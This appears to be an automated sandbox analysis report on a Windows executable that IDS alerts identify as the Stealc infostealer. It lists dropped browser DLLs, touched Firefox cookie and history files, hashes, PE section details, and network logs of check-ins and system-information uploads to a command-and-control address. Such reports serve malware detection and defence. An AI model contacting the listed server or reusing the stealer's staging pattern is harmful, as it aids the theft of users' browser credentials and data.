SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: t4GNf3V8mp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: t4GNf3V8mp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947854378997609
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'861'632 bytes
MD5:	969de6311ff2108382afd9ff374bb828
SHA1:	4ed2721ffdf7eced58caad653454e6ac67257341
SHA256:	4b1e418942b4e90441e2096efff55ffb9428a14e9bca43c8e8145cba59ea79f7
SHA512:	870cb4ecfc12060cce25d8be580dfd04bbfac98159d8953139b3423f07f6b17d4be7ad700066117c1e91a64870caaff78ae6aa4dca474ba5cb8fbd83bb7a6ff8
SSDEEP:	24576:dFkVPek93C0KuB5tj9B5ebvaS97MLw+ofR2Vv9PHZXBeeVwFXVrdGMlPFG+tfazr:detekRCeNk+zLw+oJo5haXVrLFBtfQ
TLSH:	F98533303722B94CD7FF23FD87E124B285A9A056226F7B9ED53343D42A1A259DC5C82D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaa4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9CF08191CAh
cmovbe ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9CF081B1C5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	3ad6f6c2a8a03cb833470940347ddd5d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a4000	0x200	d24f23eaef59f6f28e249dd965d6443f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
whtuqxvy	0x502000	0x1a1000	0x1a0600	61b9310d3cb757917b35d9cc13017bd4	False	0.9949667892524767	data	7.954002733918087	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wenssrso	0x6a3000	0x1000	0x400	12141df42495773949068f22b62a1879	False	0.728515625	data	5.87569510509831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a4000	0x3000	0x2200	952b190ddc8a7c2f08202911c6e3e4df	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T12:13:11.375231+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:11.662320+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:11.669579+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-27T12:13:11.948672+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:11.956923+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-27T12:13:13.057334+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:14.231771+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:23.057079+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:24.817649+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:26.097233+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:26.895915+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:28.812700+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:29.298742+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 12:13:10.119877100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:10.125716925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:10.125952959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:10.126486063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:10.132150888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.046061039 CET	80	49730	185.215.113.206	192.168.2.4
